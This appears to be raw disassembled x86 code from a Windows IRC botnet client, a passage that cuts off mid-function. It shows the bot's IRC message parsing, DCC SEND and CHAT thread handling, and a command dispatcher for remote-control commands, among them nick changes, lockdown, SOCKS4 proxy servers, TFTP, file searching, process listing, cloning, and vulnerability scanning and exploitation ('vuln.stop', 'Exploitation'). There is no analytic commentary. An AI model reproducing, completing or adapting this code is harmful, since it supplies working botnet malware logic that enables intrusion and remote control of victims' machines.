		add	esi, [ebp+arg_18]
		push	offset aSS_1	; ":%s%s"
		push	esi
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_4AC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 24h
		jmp	loc_40D219
; ---------------------------------------------------------------------------


loc_40D377:				; CODE XREF: sub_40CE55+3DBj
		push	esi
		push	offset aPart	; "PART"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D399
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D3C0


loc_40D399:				; CODE XREF: sub_40CE55+531j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40D39E:				; CODE XREF: sub_40CE55+569j
		cmp	[edi], bl
		jz	short loc_40D3B4
		push	[ebp+var_94]
		push	edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D40E


loc_40D3B4:				; CODE XREF: sub_40CE55+54Bj
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40D39E


loc_40D3C0:				; CODE XREF: sub_40CE55+542j
		push	[ebp+var_90]
		push	offset a353	; "353"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D46F
		push	[ebp+var_84]
		push	[ebp+arg_8]
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D3F7
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40D3F7:				; CODE XREF: sub_40CE55+597j
		push	[ebp+var_84]
		push	offset dword_4364B4


loc_40D402:				; CODE XREF: sub_40CE55+5577j
					; sub_40CE55+58F0j ...
		call	sub_40B1E1
		pop	ecx


loc_40D408:				; CODE XREF: sub_40CE55+5A05j
		pop	ecx
		jmp	loc_40D219
; ---------------------------------------------------------------------------


loc_40D40E:				; CODE XREF: sub_40CE55+55Dj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_436480
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40B16D
		push	[ebp+var_90]
		push	offset aPart	; "PART"
		call	sub_415910
		add	esp, 18h
		test	eax, eax
		jnz	loc_40D219
		lea	eax, [ebp+var_2C8]
		push	eax
		mov	eax, [ebp+var_94]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_40D20E
; ---------------------------------------------------------------------------


loc_40D46F:				; CODE XREF: sub_40CE55+57Fj
		push	[ebp+var_90]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_415910
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40D4C3
		push	[ebp+var_90]
		push	edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D4C3
		push	[ebp+var_90]
		push	offset dword_43646C
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41298E
		cmp	dword_42C194, ebx
		jz	loc_41298E


loc_40D4C3:				; CODE XREF: sub_40CE55+634j
					; sub_40CE55+646j
		push	[ebp+var_90]
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D649
		push	[ebp+var_90]
		push	edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D649
		mov	eax, [ebp+var_88]
		inc	[ebp+var_84]
		push	4
		mov	[ebp+var_8C], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_40D50A:				; CODE XREF: sub_40CE55+8B0j
					; sub_40CE55+941j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_94]
		lea	edi, [ebp+esi+var_94]
		push	eax
		push	offset dword_436464
		mov	[ebp+arg_8], eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D943
		push	[ebp+esi+var_90]
		push	offset aSend_0	; "SEND"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D801
		cmp	[ebp+var_98], ebx
		jz	loc_40D7D7
		push	[ebp+esi+var_8C]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_6FC]
		push	edi
		push	eax
		call	sub_4154E7
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_710]
		push	edi
		push	eax
		call	sub_4154E7
		push	[ebp+esi+var_84]
		call	sub_415A5F
		mov	[ebp+var_578], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_718], eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5F8]
		push	eax
		call	sub_416D40
		mov	eax, [ebp+var_4]
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_5F8]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_43641C
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	12h
		push	eax
		call	sub_414F93
		add	esp, 44h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_718]
		push	ebx
		push	eax
		push	offset sub_40BAB4
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	loc_40D7C6


loc_40D633:				; CODE XREF: sub_40CE55+7F2j
		cmp	[ebp+var_568], ebx
		jnz	loc_40D7F9
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_40D633
; ---------------------------------------------------------------------------


loc_40D649:				; CODE XREF: sub_40CE55+67Ej
					; sub_40CE55+694j
		push	[ebp+var_90]
		push	edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D662
		mov	[ebp+var_4], 1


loc_40D662:				; CODE XREF: sub_40CE55+804j
		cmp	[ebp+var_8C], ebx
		jz	loc_40D219
		push	(offset	loc_4263DB+1)
		push	[ebp+var_8C]
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D689
		cmp	[ebp+var_4], ebx
		jz	short loc_40D695


loc_40D689:				; CODE XREF: sub_40CE55+82Dj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_8C], eax


loc_40D695:				; CODE XREF: sub_40CE55+832j
		cmp	[ebp+var_88], ebx
		jz	loc_40D219
		inc	[ebp+var_88]
		jz	short loc_40D6E1
		cmp	[ebp+arg_10], ebx
		jz	short loc_40D6E1
		lea	eax, [ebp+var_564]
		push	eax
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_564]
		push	[ebp+var_88]
		push	eax
		call	sub_416ED0
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40D6E7
; ---------------------------------------------------------------------------


loc_40D6E1:				; CODE XREF: sub_40CE55+852j
					; sub_40CE55+857j
		mov	esi, [ebp+var_AC]


loc_40D6E7:				; CODE XREF: sub_40CE55+88Aj
		mov	edi, [ebp+esi*4+var_94]
		cmp	edi, ebx
		jz	loc_40D219
		push	edi
		push	offset dword_436410
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D50A
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40D787
		mov	eax, dword_46899C
		mov	eax, off_42C264[eax*4]
		cmp	[eax], bl
		jz	short loc_40D787
		push	eax
		push	ecx
		push	offset dword_4363F4
		push	[ebp+arg_4]
		call	sub_412D06
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset aSHasJustVersio ; "%s has just versioned	me."
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40B16D
		add	esp, 20h
		cmp	[ebp+var_98], ebx
		jnz	loc_40D219
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	1
		push	eax
		push	offset dword_4688A4


loc_40D777:				; CODE XREF: sub_40CE55+52F2j
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h
		jmp	loc_40D219
; ---------------------------------------------------------------------------


loc_40D787:				; CODE XREF: sub_40CE55+8BFj
					; sub_40CE55+8CFj
		push	edi
		push	offset dword_4363D0
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D50A
		mov	eax, [ebp+esi*4+var_90]
		cmp	eax, ebx
		jz	loc_40D50A
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	loc_40D50A
		push	eax
		push	ecx
		push	offset dword_4363B8
		jmp	loc_40D20E
; ---------------------------------------------------------------------------


loc_40D7C6:				; CODE XREF: sub_40CE55+7D8j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_43636C
		jmp	loc_40D92F
; ---------------------------------------------------------------------------


loc_40D7D7:				; CODE XREF: sub_40CE55+6FFj
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	[ebp+esi+var_8C]
		push	offset dword_436318
		push	eax
		call	sub_4154E7
		add	esp, 10h


loc_40D7F9:				; CODE XREF: sub_40CE55+7E4j
					; sub_40CE55+AA2j ...
		push	1
		pop	esi
		jmp	loc_40EFAA
; ---------------------------------------------------------------------------


loc_40D801:				; CODE XREF: sub_40CE55+6F3j
		push	[ebp+esi+var_90]
		push	offset aChat	; "CHAT"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D959
		cmp	[ebp+var_98], ebx
		jz	loc_40D923
		push	13h
		call	sub_4151DB
		test	eax, eax
		pop	ecx
		jnz	loc_40D915
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_710]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154E7
		push	[ebp+esi+var_84]
		call	sub_415A5F
		mov	[ebp+var_578], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_718], eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5F8]
		push	eax
		call	sub_416D40
		mov	eax, [ebp+var_4]
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_4362DC
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	13h
		push	eax
		call	sub_414F93
		add	esp, 34h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_718]
		push	ebx
		push	eax
		push	offset sub_40B551
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_40D907


loc_40D8F1:				; CODE XREF: sub_40CE55+AB0j
		cmp	[ebp+var_568], ebx
		jnz	loc_40D7F9
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_40D8F1
; ---------------------------------------------------------------------------


loc_40D907:				; CODE XREF: sub_40CE55+A9Aj
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_436294
		jmp	short loc_40D92F
; ---------------------------------------------------------------------------


loc_40D915:				; CODE XREF: sub_40CE55+9DDj
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset dword_436250
		jmp	short loc_40D92F
; ---------------------------------------------------------------------------


loc_40D923:				; CODE XREF: sub_40CE55+9CDj
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset dword_43620C


loc_40D92F:				; CODE XREF: sub_40CE55+97Dj
					; sub_40CE55+ABEj ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		jmp	loc_40D7F9
; ---------------------------------------------------------------------------


loc_40D943:				; CODE XREF: sub_40CE55+6D8j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_42C19C
		mov	[edi], ecx
		jnz	loc_40D219


loc_40D959:				; CODE XREF: sub_40CE55+9C1j
		mov	edi, [edi]
		push	edi
		push	offset aNewshit	; "newshit"
		mov	[ebp+arg_8], edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412996
		push	edi
		push	offset aHi_0	; "hi"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412996
		cmp	[ebp+var_98], ebx
		jnz	short loc_40D9AA
		push	[ebp+var_90]
		push	offset dword_43646C
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41298E


loc_40D9AA:				; CODE XREF: sub_40CE55+B39j
		cmp	[ebp+arg_28], ebx
		jnz	loc_41298E
		xor	edi, edi
		cmp	dword_42E7A4, ebx
		jle	loc_40DB56
		mov	[ebp+arg_20], offset dword_43E7A8


loc_40D9C8:				; CODE XREF: sub_40CE55+B92j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D9EE
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_42E7A4
		jl	short loc_40D9C8
		jmp	loc_40DB56
; ---------------------------------------------------------------------------


loc_40D9EE:				; CODE XREF: sub_40CE55+B82j
		push	offset asc_436588 ; " :"
		push	[ebp+arg_0]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40D219
		mov	cl, byte_42C19C
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_42C19C
		mov	[eax+3], cl
		lea	ecx, dword_43E7C0[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_416D40
		lea	eax, [ebp+esi+var_54]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_40DA43:				; CODE XREF: sub_40CE55+C96j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A4]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_415AC0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40DAAF
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_40DAAF
		lea	eax, dword_43E7A8[edi]
		push	eax
		call	sub_415CF0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_40DAE1
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40DAE1
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4099AA
		add	esp, 0Ch
		jmp	short loc_40DAE1
; ---------------------------------------------------------------------------


loc_40DAAF:				; CODE XREF: sub_40CE55+C16j
					; sub_40CE55+C1Dj
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_40DAE1
		lea	eax, [ebp+var_A4]
		push	2
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_416D40
		lea	eax, [ebp+var_14]
		mov	[ebp+var_12], bl
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4099AA
		add	esp, 18h


loc_40DAE1:				; CODE XREF: sub_40CE55+C2Fj
					; sub_40CE55+C43j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40DA43
		lea	eax, [ebp+esi+var_54]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_40DAFE:				; CODE XREF: sub_40CE55+CF5j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A4]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_415AC0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40DB41
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40DB41
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4099AA
		add	esp, 0Ch


loc_40DB41:				; CODE XREF: sub_40CE55+CD1j
					; sub_40CE55+CD7j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40DAFE
		mov	[ebp+var_C8], 1


loc_40DB56:				; CODE XREF: sub_40CE55+B66j
					; sub_40CE55+B94j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_42C19C
		jz	short loc_40DB6F
		cmp	[ebp+var_C8], ebx
		jz	loc_40DD54


loc_40DB6F:				; CODE XREF: sub_40CE55+D0Cj
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe_0	; "$me"
		push	edi
		call	sub_4099AA
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_4099AA
		push	[ebp+var_8C]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_4099AA
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A4]
		push	2
		push	eax
		call	sub_414433
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_4099AA
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_2 ; "$server"
		push	edi
		call	sub_4099AA
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_415AC0
		add	esp, 14h


loc_40DBE1:				; CODE XREF: sub_40CE55+E78j
		test	eax, eax
		jz	loc_40DCD2
		push	edi
		push	[ebp+arg_0]
		call	sub_415AC0
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_416D40
		lea	eax, [ebp+var_A4]
		push	offset asc_4361C0 ; ")"
		push	eax
		call	sub_416C98
		add	esp, 1Ch
		cmp	[ebp+var_A4], 30h
		jl	short loc_40DC2D
		cmp	[ebp+var_A4], 39h
		jle	short loc_40DC43


loc_40DC2D:				; CODE XREF: sub_40CE55+DCDj
		push	3
		lea	eax, [ebp+var_A4]
		push	offset a63	; "63"
		push	eax
		call	sub_416D40
		add	esp, 0Ch


loc_40DC43:				; CODE XREF: sub_40CE55+DD6j
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jle	short loc_40DC66
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_415A5F
		pop	ecx
		mov	[ebp+var_14], al
		jmp	short loc_40DC77
; ---------------------------------------------------------------------------


loc_40DC66:				; CODE XREF: sub_40CE55+DFDj
		call	sub_415543
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_14], dl


loc_40DC77:				; CODE XREF: sub_40CE55+E0Fj
		lea	eax, [ebp+var_A4]
		mov	[ebp+var_13], bl
		push	eax
		call	sub_415CF0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A4]
		push	ebx
		push	eax
		call	sub_415570
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A4]
		push	[ebp+arg_10]
		push	eax
		call	sub_416D40
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4099AA
		push	edi
		push	[ebp+arg_0]
		call	sub_415AC0
		add	esp, 30h
		jmp	loc_40DBE1
; ---------------------------------------------------------------------------


loc_40DCD2:				; CODE XREF: sub_40CE55+D8Ej
		mov	edi, 1FFh
		lea	eax, [ebp+var_F9C]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_416D40
		lea	eax, [ebp+var_F9C]
		push	edi
		push	eax
		lea	eax, [ebp+var_119C]
		push	eax
		call	sub_416D40
		lea	eax, [ebp+var_119C]
		push	offset asc_426A00 ; " "
		push	eax
		call	sub_416C98
		add	esp, 20h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+arg_10], 1Fh


loc_40DD22:				; CODE XREF: sub_40CE55+EE2j
		push	offset asc_426A00 ; " "
		push	ebx
		call	sub_416C98
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40DD22
		mov	ecx, [ebp+esi+var_94]
		lea	eax, [ebp+esi+var_94]
		cmp	ecx, ebx
		jz	loc_40D219
		add	ecx, 3
		mov	[eax], ecx


loc_40DD54:				; CODE XREF: sub_40CE55+D14j
		mov	edi, [ebp+esi+var_94]
		push	edi
		push	offset aEnz_rndnick ; "enz.rndnick"
		mov	[ebp+arg_8], edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412941
		push	edi
		push	offset aEnz_rn	; "enz.rn"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412941
		push	edi
		push	offset aEnz_endsess ; "enz.endsess"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41291F
		push	edi
		push	offset aEnz_d	; "enz.d"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41291F
		push	edi
		push	offset aEnz_logout ; "enz.logout"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41287D
		push	edi
		push	offset aEnz_lo	; "enz.lo"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41287D
		push	edi
		push	offset aEnz_version ; "enz.version"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41285F
		push	edi
		push	offset aEnz_ver	; "enz.ver"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41285F
		push	edi
		push	offset aLockdown_on ; "lockdown.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41274A
		push	edi
		push	offset aLd_on	; "ld.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41274A
		push	edi
		push	offset aLockdown_off ; "lockdown.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41274A
		push	edi
		push	offset aLd_off	; "ld.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41274A
		push	edi
		push	offset aServer_socks4_ ; "server.socks4.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412628
		push	edi
		push	offset aServer_s4_on ; "server.s4.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412628
		push	edi
		push	offset aServer_socks_0 ; "server.socks4.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DEC4
		push	[ebp+esi+var_90]
		push	11h
		push	offset aServer	; "Server"
		push	offset dword_4360F0


loc_40DEA8:				; CODE XREF: sub_40CE55+1093j
					; sub_40CE55+10B9j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_415221
		add	esp, 20h
		jmp	loc_40D219
; ---------------------------------------------------------------------------


loc_40DEC4:				; CODE XREF: sub_40CE55+103Ej
		push	edi
		push	offset aServer_rlogin_ ; "server.rlogin.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DEEA
		push	[ebp+esi+var_90]
		push	6
		push	offset aServer	; "Server"
		push	offset dword_4360CC
		jmp	short loc_40DEA8
; ---------------------------------------------------------------------------


loc_40DEEA:				; CODE XREF: sub_40CE55+107Ej
		push	edi
		push	offset dword_4360BC
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF10
		push	[ebp+esi+var_90]
		push	3
		push	offset aServer	; "Server"
		push	offset dword_4360B0
		jmp	short loc_40DEA8
; ---------------------------------------------------------------------------


loc_40DF10:				; CODE XREF: sub_40CE55+10A4j
		push	edi
		push	offset dword_4360A8
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF39
		push	[ebp+esi+var_90]
		push	1Ch
		push	offset dword_43609C
		push	offset dword_436090
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------


loc_40DF39:				; CODE XREF: sub_40CE55+10CAj
		push	edi
		push	offset aServer_redirec ; "server.redirect.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF62
		push	[ebp+esi+var_90]
		push	10h
		push	offset dword_43606C
		push	offset dword_43605C
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------


loc_40DF62:				; CODE XREF: sub_40CE55+10F3j
		push	edi
		push	offset dword_436050
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF8B
		push	[ebp+esi+var_90]
		push	0Ah
		push	offset dword_436044
		push	offset dword_436038
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------


loc_40DF8B:				; CODE XREF: sub_40CE55+111Cj
		push	edi
		push	offset dword_436028
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DFB4
		push	[ebp+esi+var_90]
		push	0Bh
		push	offset dword_43601C
		push	offset dword_436010
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------


loc_40DFB4:				; CODE XREF: sub_40CE55+1145j
		push	edi
		push	offset dword_436000
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DFDD
		push	[ebp+esi+var_90]
		push	0Fh
		push	offset dword_435FF4
		push	offset dword_435FE8
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------


loc_40DFDD:				; CODE XREF: sub_40CE55+116Ej
		push	edi
		push	offset dword_435FD8
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E006
		push	[ebp+esi+var_90]
		push	0Eh
		push	offset dword_435FCC
		push	offset dword_435FC0
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------


loc_40E006:				; CODE XREF: sub_40CE55+1197j
		push	edi
		push	offset aServer_tftp_of ; "server.tftp.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E02F
		push	[ebp+esi+var_90]
		push	4
		push	offset aServer	; "Server"
		push	offset dword_435FA4
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------


loc_40E02F:				; CODE XREF: sub_40CE55+11C0j
		push	edi
		push	offset aBox_findfile_o ; "box.findfile.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412610
		push	edi
		push	offset aBox_ff_off ; "box.ff.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412610
		push	edi
		push	offset aBox_procs_off ;	"box.procs.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125F8
		push	edi
		push	offset aBox_ps_off ; "box.ps.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125F8
		push	edi
		push	offset aClone_off ; "clone.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E0AC
		push	[ebp+esi+var_90]
		push	17h
		push	offset aClone	; "Clone"
		push	offset dword_435F44
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------


loc_40E0AC:				; CODE XREF: sub_40CE55+123Dj
		push	edi
		push	offset aLockdown_stop ;	"lockdown.stop"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E0D5
		push	[ebp+esi+var_90]
		push	19h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_435F1C
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------


loc_40E0D5:				; CODE XREF: sub_40CE55+1266j
		push	edi
		push	offset aVuln_stop ; "vuln.stop"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E0FE
		push	[ebp+esi+var_90]
		push	8
		push	offset aScan	; "Scan"
		push	offset aExploitation ; "Exploitation"
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------


loc_40E0FE:				; CODE XREF: sub_40CE55+128Fj
		push	edi
		push	offset aVuln_stats ; "vuln.stats"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125E2
		push	edi
		push	offset aVuln_st	; "vuln.st"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125E2
		push	edi
		push	offset aEnz_reh4sh ; "enz.reh4sh"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125C1
		push	edi
		push	offset aEnz_rh4	; "enz.rh4"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125C1
		push	edi
		push	offset aEnz_endt3rm ; "enz.endt3rm"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41259F
		push	edi
		push	offset aEnz_et3	; "enz.et3"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41259F
		push	edi
		push	offset aEnz_t3rm1nate ;	"enz.t3rm1nate"
		call	sub_415910
		pop	ecx
		test	eax, eax
